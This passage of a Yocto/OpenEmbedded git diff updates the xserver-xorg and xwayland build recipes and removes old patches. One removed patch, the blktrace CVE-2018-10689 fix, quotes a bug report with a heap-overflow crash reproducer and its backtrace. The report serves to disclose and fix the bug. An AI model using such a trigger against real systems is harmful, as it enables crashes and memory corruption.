-PACKAGECONFIG[glx] = "--enable-glx,--disable-glx,virtual/libgl virtual/libx11"
-PACKAGECONFIG[glamor] = "--enable-glamor,--disable-glamor,libepoxy virtual/libgbm,libegl"
-PACKAGECONFIG[unwind] = "--enable-libunwind,--disable-libunwind,libunwind"
-PACKAGECONFIG[xshmfence] = "--enable-xshmfence,--disable-xshmfence,libxshmfence"
-PACKAGECONFIG[xmlto] = "--with-xmlto, --without-xmlto, xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-PACKAGECONFIG[systemd-logind] = "--enable-systemd-logind=yes,--enable-systemd-logind=no,dbus,"
-PACKAGECONFIG[systemd] = "--with-systemd-daemon,--without-systemd-daemon,systemd"
-PACKAGECONFIG[xinerama] = "--enable-xinerama,--disable-xinerama"
-PACKAGECONFIG[xwayland] = "--enable-xwayland,--disable-xwayland,wayland wayland-native wayland-protocols libepoxy"
+PACKAGECONFIG[udev] = "-Dudev=true,-Dudev=false,udev"
+PACKAGECONFIG[dga] = "-Ddga=true,-Ddga=false"
+PACKAGECONFIG[dri] = "-Ddri1=true,-Ddri1=false,virtual/mesa"
+PACKAGECONFIG[dri2] = "-Ddri2=true,-Ddri2=false"
+PACKAGECONFIG[dri3] = "-Ddri3=true,-Ddri3=false"
+PACKAGECONFIG[glx] = "-Dglx=true,-Dglx=false,virtual/libgl virtual/libx11"
+PACKAGECONFIG[glamor] = "-Dglamor=true,-Dglamor=false,libepoxy virtual/libgbm,libegl"
+PACKAGECONFIG[unwind] = "-Dlibunwind=true,-Dlibunwind=false,libunwind"
+PACKAGECONFIG[systemd-logind] = "-Dsystemd_logind=true,-Dsystemd_logind=false,dbus,"
+PACKAGECONFIG[xinerama] = "-Dxinerama=true,-Dxinerama=false"
# Xorg requires a SHA1 implementation, pick one
XORG_CRYPTO ??= "openssl"
-PACKAGECONFIG[openssl] = "--with-sha1=libcrypto,,openssl"
-PACKAGECONFIG[nettle] = "--with-sha1=libnettle,,nettle"
-PACKAGECONFIG[gcrypt] = "--with-sha1=libgcrypt,,libgcrypt"
+PACKAGECONFIG[openssl] = "-Dsha1=libcrypto,,openssl"
+PACKAGECONFIG[nettle] = "-Dsha1=libnettle,,nettle"
+PACKAGECONFIG[gcrypt] = "-Dsha1=libgcrypt,,libgcrypt"
-do_install_append () {
- # Its assumed base-files creates this for us
- rmdir ${D}${localstatedir}/log/
+do_install:append () {
+ sed -i -e 's,${libdir}/xorg/modules,${prefix}/lib*/xorg/modules,' ${D}${mandir}/man5/xorg.conf.5
}
# Add runtime provides for the ABI versions of the video and input subsystems,
# so that drivers can depend on the relevant version.
-python populate_packages_prepend() {
+python populate_packages:prepend() {
import subprocess
# Set PKG_CONFIG_PATH so pkg-config looks at the .pc files that are going
@@ -176,6 +171,6 @@ python populate_packages_prepend() {
return "%sxorg-abi-%s-%s" % (mlprefix, name, output)
pn = d.getVar("PN")
- d.appendVar("RPROVIDES_" + pn, " " + get_abi("input"))
- d.appendVar("RPROVIDES_" + pn, " " + get_abi("video"))
+ d.appendVar("RPROVIDES:" + pn, " " + get_abi("input"))
+ d.appendVar("RPROVIDES:" + pn, " " + get_abi("video"))
}
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Avoid-duplicate-definitions-of-IOPortBase.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Avoid-duplicate-definitions-of-IOPortBase.patch
new file mode 100644
index 0000000000..11d5546537
--- /dev/null
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Avoid-duplicate-definitions-of-IOPortBase.patch
@@ -0,0 +1,29 @@
+From ce3b8a230a3805c9b557c1f106795675bd034860 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 17 Aug 2020 10:50:51 -0700
+Subject: [PATCH] Avoid duplicate definitions of IOPortBase
+
+This fixed build with gcc10/-fno-common
+
+Fixes
+compiler.h:528: multiple definition of `IOPortBase';
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ hw/xfree86/os-support/linux/lnx_video.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/hw/xfree86/os-support/linux/lnx_video.c b/hw/xfree86/os-support/linux/lnx_video.c
+index fd83022..1d0d96e 100644
+--- a/hw/xfree86/os-support/linux/lnx_video.c
++++ b/hw/xfree86/os-support/linux/lnx_video.c
+@@ -78,6 +78,7 @@ xf86OSInitVidMem(VidMemInfoPtr pVidMem)
+ /***************************************************************************/
+ /* I/O Permissions section */
+ /***************************************************************************/
++_X_EXPORT unsigned int IOPortBase; /* Memory mapped I/O port area */
+
+ #if defined(__powerpc__)
+ volatile unsigned char *ioBase = NULL;
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-compiler.h-Do-not-include-sys-io.h-on-ARM-with-glibc.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-compiler.h-Do-not-include-sys-io.h-on-ARM-with-glibc.patch
deleted file mode 100644
index da9a4f2b25..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-compiler.h-Do-not-include-sys-io.h-on-ARM-with-glibc.patch
+++ /dev/null
@@ -1,63 +0,0 @@
-From 2ba9510721b7a76cb7fe507449fa0ac997a4cce3 Mon Sep 17 00:00:00 2001
-From: Olivier Fourdan <ofourdan@redhat.com>
-Date: Mon, 1 Jul 2019 13:20:39 +0200
-Subject: [PATCH] compiler.h: Do not include sys/io.h on ARM with glibc
-
-<sys/io.h> on ARM hasn't worked for a long, long time, so it was removed
-it from glibc upstream.
-
-Remove the include to avoid a compilation failure on ARM with glibc.
-
-Signed-off-by: Olivier Fourdan <ofourdan@redhat.com>
-Closes: https://gitlab.freedesktop.org/xorg/xserver/issues/840
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Backport [https://gitlab.freedesktop.org/xorg/xserver/commit/fe4cd0e7f5c58fa94db36326aadc1bd4e6d73eba]
----
- hw/xfree86/common/compiler.h | 30 ------------------------------
- 1 file changed, 30 deletions(-)
-
-diff --git a/hw/xfree86/common/compiler.h b/hw/xfree86/common/compiler.h
-index 7144c6a..2b2008b 100644
---- a/hw/xfree86/common/compiler.h
-+++ b/hw/xfree86/common/compiler.h
-@@ -758,36 +758,6 @@ inl(unsigned short port)
- return xf86ReadMmio32Le((void *) ioBase, port);
- }
-
--#elif defined(__arm__) && defined(__linux__)
--
--/* for Linux on ARM, we use the LIBC inx/outx routines */
--/* note that the appropriate setup via "ioperm" needs to be done */
--/* *before* any inx/outx is done. */
--
--#include <sys/io.h>
--
--static __inline__ void
--xf_outb(unsigned short port, unsigned char val)
--{
-- outb(val, port);
--}
--
--static __inline__ void
--xf_outw(unsigned short port, unsigned short val)
--{
-- outw(val, port);
--}
--
--static __inline__ void
--xf_outl(unsigned short port, unsigned int val)
--{
-- outl(val, port);
--}
--
--#define outb xf_outb
--#define outw xf_outw
--#define outl xf_outl
--
- #elif defined(__nds32__)
-
- /*
---
-2.22.0
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-test-xtest-Initialize-array-with-braces.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-test-xtest-Initialize-array-with-braces.patch
deleted file mode 100644
index c0c242814b..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-test-xtest-Initialize-array-with-braces.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 8a382c015cd3c69fcfc146ef03dcbf30c77ff207 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 1 Mar 2019 09:47:57 -0800
-Subject: [PATCH] test/xtest: Initialize array with braces
-
-Fixes an error when extra warnings are enabled, this is caught with clang
-
-test/xtest.c:64:23: error: suggest braces around initialization of subobject [-Werror,-Wmissing-braces]
- WindowRec root = {0};
- ^
- {}
-1 error generated.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- test/xtest.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/test/xtest.c b/test/xtest.c
-index fc5e433..d7e6620 100644
---- a/test/xtest.c
-+++ b/test/xtest.c
-@@ -61,7 +61,7 @@ xtest_init_devices(void)
- {
- ScreenRec screen = {0};
- ClientRec server_client = {0};
-- WindowRec root = {0};
-+ WindowRec root = {{0}};
- WindowOptRec optional = {0};
-
- /* random stuff that needs initialization */
---
-2.21.0
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/pkgconfig.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/pkgconfig.patch
deleted file mode 100644
index 2ef9fa9fe4..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/pkgconfig.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/xorg/xserver/merge_requests/22]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 5f65a6246fe752764045dd1e38912f1dccec71e4 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Thu, 20 Sep 2018 20:12:24 +0100
-Subject: [PATCH] xorg-server.m4: just all cflags instead of just sdkdir
-
-Instead of fetching just the sdkdir variable of xorg-server using pkg-config,
-simply get all of the CFLAGS. Aside from completeness, this helps builds in
-sysroots as pkg-config knows what to do with --cflags but doesn't remap
-arbitrary variables.
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
----
- xorg-server.m4 | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/xorg-server.m4 b/xorg-server.m4
-index 18255b91a..195bda5d8 100644
---- a/xorg-server.m4
-+++ b/xorg-server.m4
-@@ -31,7 +31,7 @@ dnl
- AC_DEFUN([XORG_DRIVER_CHECK_EXT],[
- AC_REQUIRE([PKG_PROG_PKG_CONFIG])
- SAVE_CFLAGS="$CFLAGS"
-- CFLAGS="$CFLAGS -I`$PKG_CONFIG --variable=sdkdir xorg-server`"
-+ CFLAGS="$CFLAGS `$PKG_CONFIG --cflags xorg-server`"
- AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[
- #include "xorg-server.h"
- #if !defined $1
---
-2.11.0
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/sdksyms-no-build-path.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/sdksyms-no-build-path.patch
deleted file mode 100644
index be198ece49..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/sdksyms-no-build-path.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-Upstream-Status: Backport [https://gitlab.freedesktop.org/xorg/xserver/merge_requests/253]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From ca832598d38ba55a001088b57d73c6d7261dc9a7 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Thu, 1 Aug 2019 15:24:51 +0100
-Subject: [PATCH] sdksyms.sh: don't embed the build path
-
-This script generates a header that has a comment containing the build path for
-no real reason. As this source can end up deployed on targets in debug packages
-this means there is both potentially sensitive information leakage about the
-build environment, and a source of change for reproducible builds.
----
- hw/xfree86/sdksyms.sh | 7 +++++--
- 1 file changed, 5 insertions(+), 2 deletions(-)
-
-diff --git a/hw/xfree86/sdksyms.sh b/hw/xfree86/sdksyms.sh
-index 39e33711d..bdf47a71a 100755
---- a/hw/xfree86/sdksyms.sh
-+++ b/hw/xfree86/sdksyms.sh
-@@ -302,13 +302,16 @@ LC_ALL=C
- export LC_ALL
- ${CPP:-cpp} "$@" sdksyms.c > /dev/null || exit $?
- ${CPP:-cpp} "$@" sdksyms.c | ${AWK:-awk} -v topdir=$topdir '
-+function basename(file) {
-+ sub(".*/", "", file)
-+ return file
-+}
- BEGIN {
- sdk = 0;
- print("/*");
- print(" * These symbols are referenced to ensure they");
- print(" * will be available in the X Server binary.");
- print(" */");
-- printf("/* topdir=%s */\n", topdir);
- print("_X_HIDDEN void *xorg_symbols[] = {");
-
- printf("sdksyms.c:") > "sdksyms.dep";
-@@ -337,7 +340,7 @@ BEGIN {
- # remove quotes
- gsub(/"/, "", $3);
- line = $2;
-- header = $3;
-+ header = basename($3);
- if (! headers[$3]) {
- printf(" \\\n %s", $3) >> "sdksyms.dep";
- headers[$3] = 1;
---
-2.20.1
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg_1.20.5.bb b/meta/recipes-graphics/xorg-xserver/xserver-xorg_1.20.5.bb
deleted file mode 100644
index 3de6d22e57..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg_1.20.5.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-require xserver-xorg.inc
-
-SRC_URI += "file://0001-xf86pciBus.c-use-Intel-ddx-only-for-pre-gen4-hardwar.patch \
- file://pkgconfig.patch \
- file://0001-test-xtest-Initialize-array-with-braces.patch \
- file://0001-compiler.h-Do-not-include-sys-io.h-on-ARM-with-glibc.patch \
- file://sdksyms-no-build-path.patch \
- "
-SRC_URI[md5sum] = "c9fc7e21e11286dbedd22c00df652130"
-SRC_URI[sha256sum] = "a81d8243f37e75a03d4f8c55f96d0bc25802be6ec45c3bfa5cb614c6d01bac9d"
-
-# These extensions are now integrated into the server, so declare the migration
-# path for in-place upgrades.
-
-RREPLACES_${PN} = "${PN}-extension-dri \
- ${PN}-extension-dri2 \
- ${PN}-extension-record \
- ${PN}-extension-extmod \
- ${PN}-extension-dbe \
- "
-RPROVIDES_${PN} = "${PN}-extension-dri \
- ${PN}-extension-dri2 \
- ${PN}-extension-record \
- ${PN}-extension-extmod \
- ${PN}-extension-dbe \
- "
-RCONFLICTS_${PN} = "${PN}-extension-dri \
- ${PN}-extension-dri2 \
- ${PN}-extension-record \
- ${PN}-extension-extmod \
- ${PN}-extension-dbe \
- "
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.3.bb b/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.3.bb
new file mode 100644
index 0000000000..3e076ecca7
--- /dev/null
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.3.bb
@@ -0,0 +1,28 @@
+require xserver-xorg.inc
+
+SRC_URI += "file://0001-xf86pciBus.c-use-Intel-ddx-only-for-pre-gen4-hardwar.patch \
+ file://0001-Avoid-duplicate-definitions-of-IOPortBase.patch \
+ "
+SRC_URI[sha256sum] = "61d6aad5b6b47a116b960bd7f0cba4ee7e6da95d6bb0b127bde75d7d1acdebe5"
+
+# These extensions are now integrated into the server, so declare the migration
+# path for in-place upgrades.
+
+RREPLACES:${PN} = "${PN}-extension-dri \
+ ${PN}-extension-dri2 \
+ ${PN}-extension-record \
+ ${PN}-extension-extmod \
+ ${PN}-extension-dbe \
+ "
+RPROVIDES:${PN} = "${PN}-extension-dri \
+ ${PN}-extension-dri2 \
+ ${PN}-extension-record \
+ ${PN}-extension-extmod \
+ ${PN}-extension-dbe \
+ "
+RCONFLICTS:${PN} = "${PN}-extension-dri \
+ ${PN}-extension-dri2 \
+ ${PN}-extension-record \
+ ${PN}-extension-extmod \
+ ${PN}-extension-dbe \
+ "
diff --git a/meta/recipes-graphics/xrestop/xrestop_0.4.bb b/meta/recipes-graphics/xrestop/xrestop_0.4.bb
index ce5df03936..0b5ab506e3 100644
--- a/meta/recipes-graphics/xrestop/xrestop_0.4.bb
+++ b/meta/recipes-graphics/xrestop/xrestop_0.4.bb
@@ -5,7 +5,7 @@ DESCRIPTION = "top-like statistics of X11 server resource usage by clients"
HOMEPAGE = "http://www.freedesktop.org/wiki/Software/xrestop"
BUGTRACKER = "https://bugs.freedesktop.org/"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://xrestop.c;endline=18;md5=730876c30f0d8a928676bcd1242a3b35"
@@ -19,6 +19,6 @@ SRC_URI = "http://downloads.yoctoproject.org/releases/xrestop/xrestop-${PV}.tar.
SRC_URI[md5sum] = "d8a54596cbaf037e62b80c4585a3ca9b"
SRC_URI[sha256sum] = "67c2fc94a7ecedbaae0d1837e82e93d1d98f4a6d759828860e552119af3ce257"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
# depends on virtual/libx11
REQUIRED_DISTRO_FEATURES = "x11"
diff --git a/meta/recipes-graphics/xwayland/xwayland_22.1.0.bb b/meta/recipes-graphics/xwayland/xwayland_22.1.0.bb
new file mode 100644
index 0000000000..9769235ce6
--- /dev/null
+++ b/meta/recipes-graphics/xwayland/xwayland_22.1.0.bb
@@ -0,0 +1,45 @@
+SUMMARY = "XWayland is an X Server that runs under Wayland."
+DESCRIPTION = "XWayland is an X Server running as a Wayland client, \
+and thus is capable of displaying native X11 client applications in a \
+Wayland compositor environment. The goal of XWayland is to facilitate \
+the transition from X Window System to Wayland environments, providing \
+a way to run unported applications in the meantime."
+HOMEPAGE = "https://fedoraproject.org/wiki/Changes/XwaylandStandalone"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5df87950af51ac2c5822094553ea1880"
+
+SRC_URI = "https://www.x.org/archive/individual/xserver/xwayland-${PV}.tar.xz"
+SRC_URI[sha256sum] = "1752d6d0a930e71292b5a308d3811ebd54d8cc68cacff44de654265b8617a2bf"
+
+UPSTREAM_CHECK_REGEX = "xwayland-(?P<pver>\d+(\.(?!90\d)\d+)+)\.tar"
+
+inherit meson features_check pkgconfig
+REQUIRED_DISTRO_FEATURES = "x11 opengl"
+
+DEPENDS += "xorgproto xtrans pixman libxkbfile libxfont2 wayland wayland-native wayland-protocols libdrm libepoxy libxcvt"
+
+OPENGL_PKGCONFIGS = "glx glamor dri3"
+PACKAGECONFIG ??= "${XORG_CRYPTO} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', '${OPENGL_PKGCONFIGS}', '', d)} \
+"
+PACKAGECONFIG[dri3] = "-Ddri3=true,-Ddri3=false"
+PACKAGECONFIG[glx] = "-Dglx=true,-Dglx=false,virtual/libgl virtual/libx11"
+PACKAGECONFIG[glamor] = "-Dglamor=true,-Dglamor=false,libepoxy virtual/libgbm,libegl"
+PACKAGECONFIG[unwind] = "-Dlibunwind=true,-Dlibunwind=false,libunwind"
+PACKAGECONFIG[xinerama] = "-Dxinerama=true,-Dxinerama=false"
+
+# Xorg requires a SHA1 implementation, pick one
+XORG_CRYPTO ??= "openssl"
+PACKAGECONFIG[openssl] = "-Dsha1=libcrypto,,openssl"
+PACKAGECONFIG[nettle] = "-Dsha1=libnettle,,nettle"
+PACKAGECONFIG[gcrypt] = "-Dsha1=libgcrypt,,libgcrypt"
+
+do_install:append() {
+ # remove files not needed and clashing with xserver-xorg
+ rm -rf ${D}/${libdir}/xorg/
+}
+
+FILES:${PN} += "${libdir}/xorg/protocol.txt"
+
+RDEPENDS:${PN} += "xkbcomp"
diff --git a/meta/recipes-kernel/blktrace/blktrace/CVE-2018-10689.patch b/meta/recipes-kernel/blktrace/blktrace/CVE-2018-10689.patch
deleted file mode 100644
index 7b58568d59..0000000000
--- a/meta/recipes-kernel/blktrace/blktrace/CVE-2018-10689.patch
+++ /dev/null
@@ -1,150 +0,0 @@
-From d61ff409cb4dda31386373d706ea0cfb1aaac5b7 Mon Sep 17 00:00:00 2001
-From: Jens Axboe <axboe@kernel.dk>
-Date: Wed, 2 May 2018 10:24:17 -0600
-Subject: [PATCH] btt: make device/devno use PATH_MAX to avoid overflow
-
-Herbo Zhang reports:
-
-I found a bug in blktrace/btt/devmap.c. The code is just as follows:
-
-https://git.kernel.org/pub/scm/linux/kernel/git/axboe/blktrace.git/tree/btt/devmap.c?id=8349ad2f2d19422a6241f94ea84d696b21de4757
-
- struct devmap {
-
-struct list_head head;
-char device[32], devno[32]; // #1
-};
-
-LIST_HEAD(all_devmaps);
-
-static int dev_map_add(char *line)
-{
-struct devmap *dmp;
-
-if (strstr(line, "Device") != NULL)
-return 1;
-
-dmp = malloc(sizeof(struct devmap));
-if (sscanf(line, "%s %s", dmp->device, dmp->devno) != 2) { //#2
-free(dmp);
-return 1;
-}
-
-list_add_tail(&dmp->head, &all_devmaps);
-return 0;
-}
-
-int dev_map_read(char *fname)
-{
-char line[256]; // #3
-FILE *fp = my_fopen(fname, "r");
-
-if (!fp) {
-perror(fname);
-return 1;
-}
-
-while (fscanf(fp, "%255[a-zA-Z0-9 :.,/_-]\n", line) == 1) {
-if (dev_map_add(line))
-break;
-}
-
-fclose(fp);
-return 0;
-}
-
- The line length is 256, but the dmp->device, dmp->devno max length
-is only 32. We can put strings longer than 32 into dmp->device and
-dmp->devno , and then they will be overflowed.
-
- we can trigger this bug just as follows:
-
- $ python -c "print 'A'*256" > ./test
- $ btt -M ./test
-
- *** Error in btt': free(): invalid next size (fast): 0x000055ad7349b250 ***
- ======= Backtrace: =========
- /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f7f158ce7e5]
- /lib/x86_64-linux-gnu/libc.so.6(+0x7fe0a)[0x7f7f158d6e0a]
- /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f7f158da98c]
- btt(+0x32e0)[0x55ad7306f2e0]
- btt(+0x2c5f)[0x55ad7306ec5f]
- btt(+0x251f)[0x55ad7306e51f]
- /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f7f15877830]
- btt(+0x26b9)[0x55ad7306e6b9]
- ======= Memory map: ========
- 55ad7306c000-55ad7307f000 r-xp 00000000 08:14 3698139
- /usr/bin/btt
- 55ad7327e000-55ad7327f000 r--p 00012000 08:14 3698139
- /usr/bin/btt
- 55ad7327f000-55ad73280000 rw-p 00013000 08:14 3698139
- /usr/bin/btt
- 55ad73280000-55ad73285000 rw-p 00000000 00:00 0
- 55ad7349a000-55ad734bb000 rw-p 00000000 00:00 0
- [heap]
- 7f7f10000000-7f7f10021000 rw-p 00000000 00:00 0
- 7f7f10021000-7f7f14000000 ---p 00000000 00:00 0
- 7f7f15640000-7f7f15656000 r-xp 00000000 08:14 14942237
- /lib/x86_64-linux-gnu/libgcc_s.so.1
- 7f7f15656000-7f7f15855000 ---p 00016000 08:14 14942237
- /lib/x86_64-linux-gnu/libgcc_s.so.1
- 7f7f15855000-7f7f15856000 r--p 00015000 08:14 14942237
- /lib/x86_64-linux-gnu/libgcc_s.so.1
- 7f7f15856000-7f7f15857000 rw-p 00016000 08:14 14942237
- /lib/x86_64-linux-gnu/libgcc_s.so.1
- 7f7f15857000-7f7f15a16000 r-xp 00000000 08:14 14948477
- /lib/x86_64-linux-gnu/libc-2.23.so
- 7f7f15a16000-7f7f15c16000 ---p 001bf000 08:14 14948477
- /lib/x86_64-linux-gnu/libc-2.23.so
- 7f7f15c16000-7f7f15c1a000 r--p 001bf000 08:14 14948477
- /lib/x86_64-linux-gnu/libc-2.23.so
- 7f7f15c1a000-7f7f15c1c000 rw-p 001c3000 08:14 14948477
- /lib/x86_64-linux-gnu/libc-2.23.so
- 7f7f15c1c000-7f7f15c20000 rw-p 00000000 00:00 0
- 7f7f15c20000-7f7f15c46000 r-xp 00000000 08:14 14948478
- /lib/x86_64-linux-gnu/ld-2.23.so
- 7f7f15e16000-7f7f15e19000 rw-p 00000000 00:00 0
- 7f7f15e42000-7f7f15e45000 rw-p 00000000 00:00 0
- 7f7f15e45000-7f7f15e46000 r--p 00025000 08:14 14948478
- /lib/x86_64-linux-gnu/ld-2.23.so
- 7f7f15e46000-7f7f15e47000 rw-p 00026000 08:14 14948478
- /lib/x86_64-linux-gnu/ld-2.23.so
- 7f7f15e47000-7f7f15e48000 rw-p 00000000 00:00 0
- 7ffdebe5c000-7ffdebe7d000 rw-p 00000000 00:00 0
- [stack]
- 7ffdebebc000-7ffdebebe000 r--p 00000000 00:00 0
- [vvar]
- 7ffdebebe000-7ffdebec0000 r-xp 00000000 00:00 0
- [vdso]
- ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
- [vsyscall]
- [1] 6272 abort btt -M test
-
-Signed-off-by: Jens Axboe <axboe@kernel.dk>
-
-Upstream-Status: Backport
-[https://git.kernel.org/pub/scm/linux/kernel/git/axboe/blktrace.git/commit/?id=d61ff409cb4dda31386373d706ea0cfb1aaac5b7]
-
-CVE: CVE-2018-10689
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- btt/devmap.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/btt/devmap.c b/btt/devmap.c
-index 0553a9e..5fc1cb2 100644
---- a/btt/devmap.c
-+++ b/btt/devmap.c
-@@ -23,7 +23,7 @@
-
- struct devmap {
- struct list_head head;
-- char device[32], devno[32];
-+ char device[PATH_MAX], devno[PATH_MAX];
- };
-
- LIST_HEAD(all_devmaps);
---
-2.7.4
-
diff --git a/meta/recipes-kernel/blktrace/blktrace/ldflags.patch b/meta/recipes-kernel/blktrace/blktrace/ldflags.patch
deleted file mode 100644
index ab905cf0da..0000000000
--- a/meta/recipes-kernel/blktrace/blktrace/ldflags.patch
+++ /dev/null
@@ -1,114 +0,0 @@
-blktrace: obey LDFLAGS
-
-Upstream-Status: Pending
-
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
-
-the patch was imported from meta-mentor layer on yoctoproject git server
-http://git.yoctoproject.org/cgit/cgit.cgi/meta-mentor as of commit id
-aed463414e2e2bf8ca44ba54ee5973e7ed599e57
-
-Signed-off-by: Fahad Usman <fahad_usman@mentor.com>
-
-Index: git/Makefile
-===================================================================
---- git.orig/Makefile
-+++ git/Makefile
-@@ -1,5 +1,6 @@
- CC = gcc
- CFLAGS = -Wall -O2 -g -W
-+LDFLAGS =
- ALL_CFLAGS = $(CFLAGS) -D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
- PROGS = blkparse blktrace verify_blkparse blkrawverify blkiomon
- LIBS = -lpthread
-@@ -26,19 +27,19 @@ btreplay/btreplay:
- $(CC) -o $*.o -c $(ALL_CFLAGS) $<
-
- blkparse: blkparse.o blkparse_fmt.o rbtree.o act_mask.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^)
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LDFLAGS)
-
- blktrace: blktrace.o act_mask.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LIBS)
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) $(LDFLAGS)
-
- verify_blkparse: verify_blkparse.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^)
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LDFLAGS)
-
- blkrawverify: blkrawverify.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^)
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LDFLAGS)
-
- blkiomon: blkiomon.o rbtree.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) -lrt
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) -lrt $(LDFLAGS)
-
- $(PROGS): | depend
-
-Index: git/btreplay/Makefile
-===================================================================
---- git.orig/btreplay/Makefile
-+++ git/btreplay/Makefile
-@@ -7,6 +7,7 @@
-
- CC = gcc
- CFLAGS = -Wall -W -O2 -g
-+LDFLAGS =
- INCS = -I. -I.. -I../btt
- OCFLAGS = -UCOUNT_IOS -UDEBUG -DNDEBUG
- XCFLAGS = -D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
-@@ -32,10 +33,10 @@ clean: docsclean
- $(CC) $(CFLAGS) -c -o $*.o $<
-
- btrecord: btrecord.o
-- $(CC) $(CFLAGS) -o $@ $(filter %.o,$^)
-+ $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LDFLAGS)
-
- btreplay: btreplay.o
-- $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LIBS)
-+ $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) $(LDFLAGS)
-
- depend:
- @$(CC) -MM $(CFLAGS) *.c 1> .depend
-Index: git/btt/Makefile
-===================================================================
---- git.orig/btt/Makefile
-+++ git/btt/Makefile
-@@ -7,6 +7,7 @@
-
- CC = gcc
- CFLAGS = -Wall -W -O2 -g
-+LDFLAGS =
- INCS = -I. -I..
- XCFLAGS = -D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
- override CFLAGS += $(INCS) $(XCFLAGS)
-@@ -38,7 +39,7 @@ clean: docsclean
- $(CC) $(CFLAGS) -c -o $*.o $<
-
- btt: $(OBJS)
-- $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LIBS)
-+ $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) $(LDFLAGS)
-
- ifneq ($(wildcard .depend),)
- include .depend
-Index: git/iowatcher/Makefile
-===================================================================
---- git.orig/iowatcher/Makefile
-+++ git/iowatcher/Makefile
-@@ -1,5 +1,6 @@
- CC = gcc
- CFLAGS = -Wall -O2 -g -W -Wunused-result
-+LDFLAGS =
- ALL_CFLAGS = $(CFLAGS) -D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
-
- PROGS = iowatcher
-@@ -19,7 +20,7 @@ all: $(ALL)
- $(CC) -o $*.o -c $(ALL_CFLAGS) $<
-
- iowatcher: blkparse.o plot.o main.o tracers.o mpstat.o fio.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) -lm -lrt
